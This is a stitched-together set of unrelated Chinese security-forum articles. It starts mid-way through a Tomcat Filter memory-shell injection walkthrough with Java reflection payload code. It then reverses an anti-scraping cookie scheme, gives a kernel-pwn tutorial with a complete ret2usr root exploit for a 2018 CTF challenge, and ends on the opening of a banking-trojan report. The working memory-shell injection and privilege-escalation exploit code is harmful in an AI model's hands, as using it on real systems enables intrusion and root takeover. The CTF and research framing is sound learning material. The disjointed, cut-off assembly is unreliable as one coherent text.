将class bytes使用gzip+base64压缩编码，代码如下
payload中，我们寻找当前classloader，调用defineclass，将类字节码转换成一个类，代码如下 这一步会用到大量的反射
BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = "base64+gzip编码后的类";
ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
Method defineClass = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
Class evilClass = (Class) defineClass.invoke(currentClassloader, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
加载完成后，将evilClass加载到classloader的classes字段中，这步通过反射完成
Field currentCladdloaderClasses = Thread.currentThread().getContextClassLoader().getClass().getDeclaredField("classes");
Vector classes = (Vector) currentCladdloaderClasses.get(currentClassloader);
classes.add(0, evilClass);
## 0x04 成果检验
首先我们将自己写的Filter，加载到`classloader`中`Filter`的代码如下
运行我们的工具，生成payload
通过burp发送出去
下一步动态注册一个Filter
我们可以看出，这两步生成的payload大小都没有超过tomcat的`maxHttpHeaderSize`。将生成的remember复制到cookies即可执行，结果如下
## 0x05 Filter类型的内存马查杀
1.打开jvisualvm，因为我们是访问本地java进程，所以tomcat不需要配置jmx访问
2.jvisualvm安装MBean插件
3.点击我们的tomcat，查看`Catalina/Filter`节点中的数据，检查是否存在我们不认识的，或者没有在web.xml中配置的filter，或者filterClass为空的Filter，如图
## 0x06 参考链接
1. <https://www.runoob.com/w3cnote/filter-filterchain-filterconfig-intro.html>
2. <https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp>
3. <https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java>
* * * | 社区文章 |
### 一、简述
至去年10月起，[先知](https://xz.aliyun.com/)平台公开了文章发表时ip归属地，迫于工作不饱和，抓点数据来看看师傅们最近在干啥
### 二、处理反爬
直接发起`requests`请求，大概一分钟后开始返回js代码，脚本不具备执行环境无法计算出对应结果，网站存在js反爬
随后花了亿点点时间梳理逻辑，整个js流程大致分三个块：
1. 数组还原
2. 数组解密
3. cookie生成
#### 3.1 数组还原
首先一个自执行函数，对大数组`_0x4818`做头出尾进操作348次
* `array["push"](array["shift"]());`
(function (_0x4c97f0, _0x1742fd) {
var _0x4db1c = function (_0x48181e) {
while (--_0x48181e) {
_0x4c97f0["push"](_0x4c97f0["shift"]()); // 头出尾进
}
};
var _0x3cd6c6 = function () {
var _0xb8360b = {
...
"getCookie": function (_0x4a11fe, _0x189946) {
...
var _0x52d57c = function (_0x105f59, _0x3fd789) {
_0x105f59(++_0x3fd789); // _0x4db1c(++347)
};
_0x52d57c(_0x4db1c, _0x1742fd);
}
};
};
})(_0x4818, 347);
得到还原乱序后的数组
// 还原前
var _0x4818 = ["csKHwqMI", "ZsKJwr8VeAsy", "UcKiN8O/wplwMA==", "JR8CTg==", "YsOnbSEQw7ozwqZKesKUw7kwX8ORIQ==",
"w7oVS8OSwoPCl3jChMKhw6HDlsKXw4s/YsOG", "fwVmI1AtwplaY8Otw5cNfSgpw6M=", "OcONwrjCqsKxTGTChsOjEWE8PcOcJ8K6",
"U8K5LcOtwpV0EMOkw47DrMOX", "HMO2woHCiMK9SlXClcOoC1k=", "asKIwqMDdgMuPsOKBMKcwrrCtkLDrMKBw64d",
"wqImMT0tw6RNw5k=", "DMKcU0JmUwUv", "VjHDlMOHVcONX3fDicKJHQ==",
"wqhBH8Knw4TDhSDDgMOdwrjCncOWwphhN8KCGcKqw6dHAU5+wrg2JcKaw4IEJcOcwrRJwoZ0wqF9YgAV", "dzd2w5bDm3jDpsK3wpY=",
"w4PDgcKXwo3CkcKLwr5qwrY=", "wrJOTcOQWMOg", "wqTDvcOjw447wr4=", "w5XDqsKhMF1/", "wrAyHsOfwppc", "J3dVPcOxLg==",
"wrdHw7p9Zw==", "w4rDo8KmNEw=", "IMKAUkBt", "w6bDrcKQwpVHwpNQwqU=", "d8OsWhAUw7YzwrU=", "wqnCksOeezrDhw==",
"UsKnIMKWV8K/", "w4zDocK8NUZv", "c8OxZhAJw6skwqJj", "PcKIw4nCkkVb", "KHgodMO2VQ==", "wpsmwqvDnGFq",
"wqLDt8Okw4c=", "w7w1w4PCpsO4wqA=", "wq9FRsOqWMOq", "byBhw7rDm34=", "LHg+S8OtTw==", "wqhOw715dsOH",
"U8O7VsO0wqvDvcKuKsOqX8Kr", "Yittw5DDnWnDrA==", "YMKIwqUUfgIk", "aB7DlMODTQ==", "wpfDh8Orw6kk",
"w7vCqMOrY8KAVk5OwpnCu8OaXsKZP3DClcKyw6HDrQ==",
"wow+w6vDmHpsw7Rtwo98LC7CiG7CksORT8KlW8O5wr3Di8OTHsODeHjDmcKlJsKqVA==", "NwV+", "w7HDrcKtwpJawpZb",
"wpQswqvDiHpuw6I=", "YMKUwqMJZQ==", "KH1VKcOqKsK1", "fQ5sFUkkwpI=", "wrvCrcOBR8Kk", "M3w0fQ==",
"w6xXwqPDvMOFwo5d"];
// 还原后
var _0x4818 = ['wqImMT0tw6RNw5k=', 'DMKcU0JmUwUv', 'VjHDlMOHVcONX3fDicKJHQ==',
'wqhBH8Knw4TDhSDDgMOdwrjCncOWwphhN8KCGcKqw6dHAU5+wrg2JcKaw4IEJcOcwrRJwoZ0wqF9YgAV', 'dzd2w5bDm3jDpsK3wpY=',
'w4PDgcKXwo3CkcKLwr5qwrY=', 'wrJOTcOQWMOg', 'wqTDvcOjw447wr4=', 'w5XDqsKhMF1/', 'wrAyHsOfwppc', 'J3dVPcOxLg==',
'wrdHw7p9Zw==', 'w4rDo8KmNEw=', 'IMKAUkBt', 'w6bDrcKQwpVHwpNQwqU=', 'd8OsWhAUw7YzwrU=', 'wqnCksOeezrDhw==',
'UsKnIMKWV8K/', 'w4zDocK8NUZv', 'c8OxZhAJw6skwqJj', 'PcKIw4nCkkVb', 'KHgodMO2VQ==', 'wpsmwqvDnGFq',
'wqLDt8Okw4c=', 'w7w1w4PCpsO4wqA=', 'wq9FRsOqWMOq', 'byBhw7rDm34=', 'LHg+S8OtTw==', 'wqhOw715dsOH',
'U8O7VsO0wqvDvcKuKsOqX8Kr', 'Yittw5DDnWnDrA==', 'YMKIwqUUfgIk', 'aB7DlMODTQ==', 'wpfDh8Orw6kk',
'w7vCqMOrY8KAVk5OwpnCu8OaXsKZP3DClcKyw6HDrQ==',
'wow+w6vDmHpsw7Rtwo98LC7CiG7CksORT8KlW8O5wr3Di8OTHsODeHjDmcKlJsKqVA==', 'NwV+', 'w7HDrcKtwpJawpZb',
'wpQswqvDiHpuw6I=', 'YMKUwqMJZQ==', 'KH1VKcOqKsK1', 'fQ5sFUkkwpI=', 'wrvCrcOBR8Kk', 'M3w0fQ==',
'w6xXwqPDvMOFwo5d', 'csKHwqMI', 'ZsKJwr8VeAsy', 'UcKiN8O/wplwMA==', 'JR8CTg==',
'YsOnbSEQw7ozwqZKesKUw7kwX8ORIQ==', 'w7oVS8OSwoPCl3jChMKhw6HDlsKXw4s/YsOG', 'fwVmI1AtwplaY8Otw5cNfSgpw6M=',
'OcONwrjCqsKxTGTChsOjEWE8PcOcJ8K6', 'U8K5LcOtwpV0EMOkw47DrMOX', 'HMO2woHCiMK9SlXClcOoC1k=',
'asKIwqMDdgMuPsOKBMKcwrrCtkLDrMKBw64d'];
#### 3.2 数组解密
此时`_0x4818`数组内容依旧不可读，还要再经过`_0x55f3`做`rc4`解密处理
var _0x55f3 = function (_0x4c97f0, _0x1742fd) {
var _0x4c97f0 = parseInt(_0x4c97f0, 16);
var _0x48181e = _0x4818[_0x4c97f0];
...
if (_0x55f3["data"][_0x4c97f0] === undefined) {
...
_0x48181e = _0x55f3["rc4"](_0x48181e, _0x1742fd); // rc4解密
_0x55f3["data"][_0x4c97f0] = _0x48181e; // _0x55f3["data"]数组赋值
} else {
_0x48181e = _0x55f3["data"][_0x4c97f0];
}
return _0x48181e;
};
if (function () {
...
var _0x5b6351 = _0x3a394d(this, function () {
var _0x46cbaa = Function(_0x55f3("0x22", "&hZY") + _0x55f3("0x23", "aH*N") + ");");
var _0x1766ff = function () {};
var _0x9b5e29 = _0x46cbaa();
_0x9b5e29[_0x55f3("0x26", "aH*N")]["log"] = _0x1766ff;
_0x9b5e29[_0x55f3("0x29", "V%YR")][_0x55f3("0x2a", "P^Eq")] = _0x1766ff;
_0x9b5e29[_0x55f3("0x2c", "lgM0")][_0x55f3("0x2d", "L$(D")] = _0x1766ff;
_0x9b5e29[_0x55f3("0x2f", "CZc8")][_0x55f3("0x30", "Wu6%")] = _0x1766ff;
});
_0x5b6351();
...
}()) {
document[_0x55f3("0x33", "V%YR")](_0x55f3("0x34", "yApz"), l, false);
} else {
document[_0x55f3("0x36", "yApz")](_0x55f3("0x37", "L$(D"), l);
}
得到真正的数组`_0x55f3["data"]`
_0x55f3["data"] = {
"1": "_phantom",
"3": "3000176000856006061501533003690027800375",
"5": "prototype",
"6": "hexXor",
"20": "unsbox",
"25": "unsbox",
"33": "apply",
"34": "return (function() ",
"35": "{}.constructor(\"return this\")( )",
"38": "console",
"41": "console",
"42": "error",
"44": "console",
"45": "warn",
"47": "console",
"48": "info",
"51": "addEventListener",
"52": "DOMContentLoaded"
}
#### 3.3 cookie生成
最后调用`unsbox()`和`hexXor()`，生成`arg2`写入`cookie`中
* `arg2 = arg1.unsbox().hexXor("3000176000856006061501533003690027800375");`
* `document.cookie = acw_sc__v2 + "=" + arg2;`
var arg1 = '2F526E76D908955D2065FE39FACBFD626530F9B0';
var l = function () {
while (window[_0x55f3("0x1", "XMW^")] || window["__phantomas"]) {};
var _0x5e8b26 = _0x55f3("0x3", "jS1Y");
String[_0x55f3("0x5", "n]fR")][_0x55f3("0x6", "Pg54")] = function (_0x4e08d8) { //hexXor函数
var _0x5a5d3b = "";
for (var _0xe89588 = 0; _0xe89588 < this[_0x55f3("0x8", ")hRc")] && _0xe89588 < _0x4e08d8[_0x55f3("0xa",
"jE&^")]; _0xe89588 += 2) {
var _0x401af1 = parseInt(this[_0x55f3("0xb", "V2KE")](_0xe89588, _0xe89588 + 2), 16);
var _0x105f59 = parseInt(_0x4e08d8[_0x55f3("0xd", "XMW^")](_0xe89588, _0xe89588 + 2), 16);
var _0x189e2c = (_0x401af1 ^ _0x105f59)[_0x55f3("0xf", "W1FE")](16);
if (_0x189e2c[_0x55f3("0x11", "MGrv")] == 1) {
_0x189e2c = "0" + _0x189e2c;
}
_0x5a5d3b += _0x189e2c;
}
return _0x5a5d3b;
};
String["prototype"][_0x55f3("0x14", "Z*DM")] = function () { //unsbox函数
var _0x4b082b = [15, 35, 29, 24, 33, 16, 1, 38, 10, 9, 19, 31, 40, 27, 22, 23, 25, 13, 6, 11, 39, 18,
20, 8, 14, 21, 32, 26, 2, 30, 7, 4, 17, 5, 3, 28, 34, 37, 12, 36];
var _0x4da0dc = [];
var _0x12605e = "";
for (var _0x20a7bf = 0; _0x20a7bf < this["length"]; _0x20a7bf++) {
var _0x385ee3 = this[_0x20a7bf];
for (var _0x217721 = 0; _0x217721 < _0x4b082b[_0x55f3("0x16", "aH*N")]; _0x217721++) {
if (_0x4b082b[_0x217721] == _0x20a7bf + 1) {
_0x4da0dc[_0x217721] = _0x385ee3;
}
}
}
_0x12605e = _0x4da0dc["join"]("");
return _0x12605e;
};
var _0x23a392 = arg1[_0x55f3("0x19", "Pg54")](); // arg1.unsbox()
arg2 = _0x23a392[_0x55f3("0x1b", "z5O&")](_0x5e8b26); // _0x23a392.hexXor(_0x5e8b26)
setTimeout("reload(arg2)", 2); // setCookie
};
function setCookie(name, value) {
var expiredate = new Date();
expiredate.setTime(expiredate.getTime() + 3600000);
document.cookie = name + "=" + value + ";expires=" + expiredate.toGMTString() + ";max-age=3600;path=/";
}
function reload(x) {
setCookie("acw_sc__v2", x);
document.location.reload();
}
#### 3.4 脚本实现
### 三、师傅们的动态
2022年10月13日-2023年2月23日，收集到[技术文章](https://xz.aliyun.com/tab/1)共162条数据
#### 3.1 作者
师傅们混身都是肝，`LeeH`师傅平均10天干完一篇文章
* top10作者
* top3作者 - 月度发文
#### 3.2 地区
什么？我也是四川的，那没事了
* 各地区 - 总发文
* top3地区 - 月度发文
#### 3.3 内容
安全研究终究是大趋势，java安全和漏洞分析霸榜
* top20 - 高频词
* top20内容 - 四川
* top20内容 - 广东
* top20内容 - 北京
### 四、总结
### 五、参考
* <https://xz.aliyun.com/t/10869>
* <https://mp.weixin.qq.com/s/0qfDgyglX4yBeKqhE1_lAg> | 社区文章 |
# kernel pwn（0）：入门&ret2usr
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
###
## 一、序言
从栈、格式化串，再到堆，当这些基本的攻击面都过下来以后，对于劫持流程拿shell的过程就应该非常熟悉了，然而传统的exploit拿到的shell的权限并非最高的，而kernel
pwn的核心目标就是拿到一个具有root权限的shell，其意义就在于提权。
## 二、kernel pwn简介
**1.一般背景：**
内核pwn的背景一般都是Linux内核模块所出现的漏洞的利用。众所周知，Linux的内核被设置成可扩展的，我们可以自己开发内核模块，如各种驱动程序；其后缀常常是ko。由于这些内核模块运行时的权限是root权限，因此我们将有机会借此拿到root权限的shell。
**2.题目形式：** 不同于用户态的pwn，kernel
pwn不再是用python远程链接打payload拿shell，而是给你一个环境包，下载后qemu本地起系统，flag文件就在这个虚拟系统里面，权限是root，因此那flag的过程也是选手在自己的环境里完成，exploit往往也是C编写。
**3.流程与攻击面：**
内核pwn的攻击面其实仍然是用户态的那些传统攻击面，各种堆栈幺蛾子等等。流程上就是C程序exp调用内核模块利用其漏洞提权，只是提权后要“着陆”回用户态拿shell。提权代码是`commit_creds(prepare_kernel_cred(0))`。详解请参考ctf-wiki。
## 三、Linux内核模块的若干知识
### 1.fop结构体：
内核模块程序的结构中包括一些callback回调表，对应的函数存在一个file_operations(fop)结构体中，这也是对我们pwn手来说最重要的结构体；结构体中实现了的回调函数就会静态初始化上函数地址，而未实现的函数，值为NULL。
例如：
Events | User functions | Kernel functions
---|---|---
Load | insmod | module_init()
Open | fopen | file_operations: open
Close | fread | file_operations: read
Write | fwrite | file_operations: write
Close | fclose | file_operations: release
Remove | rmmod | module_exit()
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
MODULE_LICENSE("Dual BSD/GPL");
static int hello_init(void)
{
printk("<1> Hello world!n");
return 0;
}
static void hello_exit(void)
{
printk("<1> Bye, cruel worldn");
}
module_init(hello_init);
module_exit(hello_exit);
struct file_operations module_fops =
{
read: module_read,
write: module_write,
open: module_open,
release: module_release
};
其中，module_init/module_exit是在载入/卸载这个驱动时自动运行；而fop结构体实现了如上四个callback，冒号右侧的函数名是由开发者自己起的，在驱动程序载入内核后，其他用户程序程序就可以借助
**文件方式** （后面将提到）像进行系统调用一样调用这些函数实现所需功能。
完整的fop请自行百度。
### 2.proc_create创建文件
这个涉及Linux文件系统的一些知识，挺恶心的，有兴趣自己去看，笔者就简单咕一下。
很多内核pwn题都会用像proc_create这种函数创建一个文件，qemu起系统后在proc下可以看到对应的文件名；就从应用的角度来说，笔者认为可以这么草率地理解：相当于这个驱动给自个儿创建了一个内核中的映像，映射成了所创建的这个文件，其他用户程序在调用前面我们所说的fop中实现的函数时，就是借助声明这个文件来区分是哪个驱动的函数。
比如说一个驱动在init中执行了proc_create(“core”, 0x1B6LL, 0LL,
&core_fops)，文件名是“core”，而且在回调中实现了ioctl，那么其他用户程序就可以先fopen这个core获取文件指针fd，然后执行ioctl(fd,<参数>,<参数>)来进行具体操作，其他的fop中的回调接口函数也类似。
### 3.数据的通信
众所周知，一个进程的在用户态和内核态是对应了完全不搭边儿的两个栈的，用户栈和内核栈既然相互隔离，在系统调用或者调用驱动、内核模块函数时就不能通过栈传参了，而要通过寄存器，像拷贝这样的操作也要借助具体的函数：copy_to_user/copy_from_user，啥意思不多说自己顾名思义。像打印这种也由prinf变成了printk，具体还有哪些自行百度吧。
## 四、用户态与内核态的切换
众所周知，当发生系统调用、异常或外中断时，会切入内核态，此时会保存现场如各种寄存器什么的，我们关注的是系统调用这种情形。
当发生系统调用时，进入内核态之前，首先通过swapgs指令将gs寄存器值与某个特定位置切换（显然回来的时候也一样）、然后把用户栈顶esp存到独占变量同时也将独占变量里存的内核栈顶给esp（显然回来的时候也一样）、最后push各寄存器值（由上一条知是存在内核栈里了），这样保存现场的工作就完成了。
系统调用执行完了以后就得回用户态，首先swapgs恢复gs，然后执行iretq恢复用户空间，此处需要注意的是：iretq需要给出用户空间的一些信息（CS,
eflags/rflags, esp/rsp 等），这些信息在哪的？就是内核栈！想想当时的push啊！
## 五、提权
kernel中有两个内核态函数是用来改变进程权限的：
* **int commit_creds(struct cred *new)**
* **struct cred _prepare_kernel_cred(struct task_struct_ daemon)**
很明显第二个将根据daemon这个权限描述符来返回一个cred结构体（用于记录进程权限），然后commit_creds就会为进程赋上这个结构体，进程就有了对应的权限。提权代码：
`commit_creds(prepare_kernel_cred(0))`
## 六、漏洞利用
最常见的无非就是利用驱动程序或内核模块的漏洞劫持控制流执行上述提权函数，然后正确的着陆回用户态get root
shell；具体的几种常见攻击手段、保护绕过等等，将在此后的文章中，借助具体的ctf
pwn题目深入探讨；今天我们先借强网杯2018的core讲一下ret2usr。
## 七、WHT’S ret2usr?
笔者上一篇文章中讲到了内核pwn的流程，回顾一下大体上就是：利用驱动的漏洞在内核态劫持到提权代码，然后返回用户态get
shell；现在我们思考，以最简单的栈溢出为例，假设我们已经得知了prepare_kernel_cred和commit_creds的地址，如何劫持到我们的提权代码呢?
既然栈上的返回地址我们可以完全控制，那么我们有两种思路：
1.通过rop（以64位为例）来执行提权代码，但是这样一来我们需要额外费些心思来在rop中配置好寄存器的参数。
2.现在我们的exp已经不再是远打的python脚本了，而已经是实实在在的C程序，也就是说，exp的代码就是和漏洞程序在一起跑的，因此我们干脆直接在exp中写个函数通过函数指针执行提权代码，溢出时直接把ret_addr踩成这个函数的地址就行了；由于这个函数是存在于用户空间的代码，因此这种攻击手段称为ret2usr。
## 八、强网杯2018-core解析
2018的强网杯不少内核pwn，第一道就是core，题目文件网上有，请自行下载。
### 0x00.文件一览：
题目文件就是这么个tar包：
tar包里面是个give_to_player目录：
里面有如下文件：
bzImage是系统镜像，core.cpio是硬盘镜像，vmlinux可以类比成用户态pwn中的libc文件，start.sh是起系统的脚本。
注意，vmlinux是未经压缩的，然而在core.cpio里面也有一个vmlinux，里面那个是起系统后真正的vmlinux，按理说这俩应该是一样的，单独拿出来是为了你方便分析，但是笔者亲测的时候发现这俩竟然不一样，可能是下载的时候弄错了？如果读者也遇到相同情况，不要用外面那个，一定要用core.cpio里面那个。
我们看一下start.sh：
qemu怎么安装就不教了网上都有；第五行最后可以看到开启了kaslr保护，也就是kernel的aslr啦。
我们看看core.cpio里面的东西：
右边那几个文件如下：
其中，core.ko就是存在漏洞的驱动程序，vmlinux刚才也说过了，gen_cpio.sh是重新打包成cpio文件的脚本，init是系统初始化脚本。
注意那个打包脚本要加命令行参数文件名，比如./gen_cpio.sh core.cpio，我们可以把exp放进去以后重新打包来调，更方便。
我们来看一下init文件：
倒数第六行的定时关机可以删去以后用gen_cpio.sh重新打包，就不会定时关机了。
### 0x01.逆向工程与漏洞挖掘：
好了该干活了！
丢IDA先：
这种内核pwn怎么入手分析呢？
**第一步，先看init函数和fop结构体！**
可见驱动文件创建于proc下的core文件，在我们的用户程序中对ioctl等驱动函数的访问就是通过core文件来进行的，后面exp中将会具体见到；再来看fops：
可以看到fop回调中只实现了如图三个回调，因此，虽然ida左侧的函数列表中还有core_read、core_copy_func但是这俩是驱动内部的函数，是不能由用户程序来调用的。
现在就知道为什么要先看init和fop了吧。
**好了，可以挖洞了！**
（各函数已经笔者重命名）
**1.ioctl函数：**
**2.0x6677889B：core_read函数：**
很明显，有canary保护，但是看21行那里，stack_para在栈上，然后加上个off偏移把所在位置数据拷贝给用户态变量，如果off的值我们能控制，显然就是可以泄露canary的！那off能不能控制呢？我们往下看。
**3.0x6677889C：设置off：**
果然全局变量off是由我们任意控制的，设置为0x40就可以泄露canary了！
**4.0x6677889A：core_copy_func函数：**
看长度变量a1，最上面声明为signed
int，第九行有个长度值越界检查不能超过63，但是执行拷贝的第17行，a1用的类型是unsigned，很明显的漏洞，通过传负数值绕过，最终拷贝将转换成很大的一个无符号数导致栈溢出，而canary我们上面也拿到了。溢出的变量是v2，payload是从name拷贝过来，下面我们看看name在哪设置的。
**5.core_write函数：**
前面说了这是个被实现的fop回调，用户调用函数为write()
payload就是通过这个函数传到变量name，代码逻辑比较简单不多说。
**6.漏洞利用大体流程：**
至此逆向分析就差不多了，漏洞就这些，我们的大体流程也可以给出来了：
1.设置off值 2.泄露canary 3.把rop链写进name变量 4.利用无符号整型漏洞进行栈溢出写rop链
那rop链中应该写什么呢？首先有劫持到提权函数的部分，也就是利用我们的ret2usr方法了；此外rop链还要完成由内核空间向用户空间的着陆，即swapgs
, iretq；这里有讲究，我们后面具体讲。
此外，记得当时看start.sh时注意到开启了kaslr保护，因此两个提权函数的地址、以及rop链中的gadget地址还要想办法泄露拿到，我们也是后面具体讲。
### 0x02.漏洞利用与exploit开发：
我们先给出exp:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <unistd.h>
4 #include <sys/stat.h>
5 #include <fcntl.h>
6 #include <string.h>
7 #include <stdint.h>
8 //1st. set off and leak canary
9 //2nd. find:commit_creds() and prepare_kernel_cred()
10 //3rd. save register etc
11 //4th. set rop chain
12 //5th. send rop chain
13 //6th. root shell
14 unsigned long raw_vmlinux_base = 0xffffffff81000000;
15 unsigned long vmlinux_base;
16 unsigned long offset;
17 unsigned long c_c;
18 unsigned long p_k_c;
19 unsigned long canary;
20 unsigned long rop_chain[0x30];
21 unsigned long user_cs, user_ss, user_rflags, user_sp;
22 void get_shell() {
23 system("/bin/sh");
24 }
25 void find_sym() {
26 printf("be sure you have run .sh getting addr of commit_creds and prepare_kernel_cred with grep");
27 printf("input addr of commit_creds:n");
28 scanf("%lx",&c_c);
29 printf("input addr of prepare_kernel_cred:n");
30 scanf("%lx",&p_k_c);
31 vmlinux_base = c_c - 0x9c8e0;
32 offset = vmlinux_base - raw_vmlinux_base;
33 }
34 void save_stat() {
35 asm(
36 "movq %%cs, %0n"
37 "movq %%ss, %1n"
38 "movq %%rsp, %2n"
39 "pushfqn"
40 "popq %3n"
41 : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
42 }
43 /*void save_stat() {
44 __asm__("mov user_cs, cs;"
45 "mov user_ss, ss;"
46 "mov user_sp, rsp;"
47 "pushf;"
48 "pop user_rflags;"
49 );
50 }*/
51 void privilge_escalation() {
52 char* (*pkc)(int) = p_k_c;
53 int (*cc)(char*) = c_c;
54 (*cc)( (*pkc)(0) );
55 }
56
57 int main() {
58 find_sym();
59 save_stat();
60 int fd = open("/proc/core", O_RDWR);
61 //set off and leak canary
62 unsigned long buf[8];//8*8=64
63 ioctl(fd, 0x6677889C,0x40);
64 ioctl(fd, 0x6677889B, buf);
65 canary = buf[0];
66 //set rop chain
67 rop_chain[0] = 0x4141414141414141;
68 rop_chain[1] = 0x4141414141414141;
69 rop_chain[2] = 0x4141414141414141;
70 rop_chain[3] = 0x4141414141414141;
71 rop_chain[4] = 0x4141414141414141;
72 rop_chain[5] = 0x4141414141414141;
73 rop_chain[6] = 0x4141414141414141;
74 rop_chain[7] = 0x4141414141414141;
75 rop_chain[8] = canary;
76 rop_chain[9] = 0x4141414141414141; //old_ebp
77 rop_chain[10] = privilge_escalation;
78 rop_chain[11] = 0xffffffff81a012da + offset; //swapgs,popfq,ret
79 rop_chain[12] = 0;
80 rop_chain[13] = 0xffffffff81050ac2 + offset; //iretq,ret
81 rop_chain[14] = get_shell;
82 rop_chain[15] = user_cs;
83 rop_chain[16] = user_rflags;
84 rop_chain[17] = user_sp;
85 rop_chain[18] = user_ss;
86 write(fd,rop_chain,0x30*8);
87 ioctl(fd,0x6677889A,0xffffffffffff0000|0x100);
88 return 0;
89 }
**1.find_sym函数：泄露提权函数及计算vmlinux_base**
回去看init脚本的第九行可知，整个内核函数表被拷贝了一份到/tmp/kallsyms，而原来的/proc/kallsyms被设置为禁读，因此我们虽然读不了原来的/proc/kallsyms了但是可以读/tmp/kallsyms；我们的C程序exp其实完全可以自己到kallsyms文件里搜索两个提权函数的地址，然而笔者懒得写了，因此采用的方法是，写个sh脚本：两行分别是grep
commit_creds /tmp/kallsyms和grep prepare_kernel_cred
/tmp/kallsyms，然后在find_sym执行时手动输入，当然直接C实现也很简单只是懒得写了。。。
（其实这么懒不太应该，因为从现实意义上来说，内核pwn对应的应用场景其实是病毒的提权，作为一个病毒大概没有让用户输函数地址的吧咕咕咕）
**2.save_stat函数：保存用户环境**
之前说过，进内核态之前做的事情：swapgs、交换栈顶、push保存各种寄存器。我们看一下push保存各寄存器时对我们最重要的几个操作：
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
这是前五个push操作，也是我们着陆时正确恢复用户环境需要关注的五个寄存器，注意这顺序是固定的，在着陆时执行的是swapgs，iretq；其中swapgs是自然没问题的，重要的是由于我们是栈溢出劫持的控制流，因此iretq恢复当初push保存的寄存器时，栈顶并不在当初的位置，这就需要我们在栈溢出的payload中构造上且要注意顺序，因此我们的这个save_stat函数正是做到了预先将这五个决定能否平安着陆的寄存器保存到用户变量里，然后在payload里按顺序部署好，最后也就保证了成功的着陆回用户空间。
注意进kernel时这五个寄存器最后做的是push保存了进之前的eip也就是用户空间的eip，我们的payload中将这个位置的值设置成get_shell函数的地址，回归以后就直接去执行get_shell了！
**3.关于gadget：**
这个gadget吧，恶心到笔者了，为什么呢？ctf
wiki上说不要用ropgadget，跑不动，要用ropper，好的于是笔者装了ropper，结果还是跑不动，一下午跑了94%然后崩了，各位读者要是有心情自己去试试吧，可能是笔者用的是虚拟机的原因吧。。。
于是本人用了另一种“拙劣”的办法找的gadget：我们需要的是swapgs和iretq，于是…core.cpio中的vmlinux拷贝出来…丢IDA…左上角工具栏搜索指令….
搜完了以后一个一个点进去看汇编，卧槽，还真找到了gadget（当然找不到那种非对齐的指令）
上图中第四个就是可用的gadget：
对于iretq也是同样的方法，但是注意一点：一般我们的gadget都是以ret指令结尾的，然而这道题中iretq指令后面并没必要一定得有个ret，因为iretq恢复到用户空间的时候就已经包括了恢复原来的eip这一步，在这个过程中我们已经完成了eip的劫持了，直接就跳过去get_shell了，因此IDA找到的所有iretq都是可以用的（当然找到的里面也有ret结尾的而且有俩），这一点本人已经实际验证过了。
**4.privilge_escalation函数：函数指针的正确声明！**
提权函数privilge_escalation()，直接(*c_c)( (*p_k_c)(0)
)是不行的，必须进行根据函数原型进行正确的函数指针声明再通过函数指针调用，否则编译会报声明类型错误，两个函数原型ctf
wiki上有前面也介绍了，那么问题来了，prepare_kernel_cred的返回值和commit_creds的参数是一个cred_entry结构体指针，而exp中给的是char*类型，既然不同为什么没有报错运行也没有出错呢？我们要关注本质，这里的返回值和参数在本质上是各指针也就是各内存地址，不管是char的指针还是cred_entry的指针在本质上没什么不一样的，都是个地址，都占8bytes，因此不会有问题。
**5.关于无符号数与负数的转换：**
不知道原理，网上抄的，有懂的师傅千万留个评论讲一下，太感谢了！本人尽量在下一篇文章中填上这个坑。
### 0x03.测试运行：
其中leak.sh就是上面提到的偷懒leak俩函数地址脚本。
此外，原题文件的flag权限感觉有问题，不是root也可以读，本人做了修改给他chmod 000了，感觉这样才是对的，只有root能读。
## 九、总结与心得
唉，每篇文章都免不了留坑，对不起狗粉丝。
收获还是挺大的，学到了好多Linux内核的知识。
下一篇还是同一道题，讲一下纯rop吧，因为要介绍一种保护机制。睡觉。 | 社区文章 |
# ATMZombie: 以色列银行木马
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://securelist.com/blog/research/73866/atmzombie-banking-trojan-in-israeli-waters/ >
译文仅供参考，具体内容表达以及含义原文为准。
2015年11月，卡巴斯基实验室的研究人员确定银行木马ATMZombie是以色列有史以来第一个银行偷窃恶意软件。它采用复杂注入等阴险的方法。第一种方法，称为“代理更换”（proxy-changer），常用于HTTP数据包检查。它涉及到修改浏览器的代理配置，及作为“中间人”捕捉客户端和服务器之间的流量。
虽然测试有效，窃取银行信息并不容易。银行使用了签署授权证书的加密通道，防止明文式传输的数据流出。但攻击者把自己的证书嵌入了目标电脑常用浏览器的root
CA表中。
使用“代理更换”木马窃取银行凭据的方法2005年就有了，被巴西的网络罪犯使用过；然而，直到2012年，卡巴斯基研究人员才给出攻击分析：2009年以来，巴西的银行木马恶意PAC文件很普遍，比如Trojan.Win32.ProxyChanger。
这次以色列的银行攻击事件有一个新颖的地方。没有仅仅利用电汇或交易凭证的漏洞，而是利用了银行联机功能的一个漏洞；之后从ATM取钱，协助没有攻击嫌疑的钱骡们；因此该木马被称为
– ATMZombie。
该威胁者似乎广泛活跃于各种银行恶意软件活动，因为他为下列木马注册了域名：Corebot，Pkybot和最近的AndroidLocker。但他没有使用相同的手法。他还运行过恶意在线服务，如恶意软件加密和信用卡转储转让。
类似于2012年攻击PSB-retail，Retefe银行木马在去年8月被PaloAlto
Networks发现。Retefe像是ATMZombie的前辈，它包含一个ATMZombie没有的Smoke
Loader后门。另一个类似的银行木马是由IBM Trusteer确认的Tsukuba。
代理配置文件很容易被找到，因此攻击者成功破坏了数百个受害者机器；但卡巴斯基实验室仅能追踪其中几十个。
**概述**
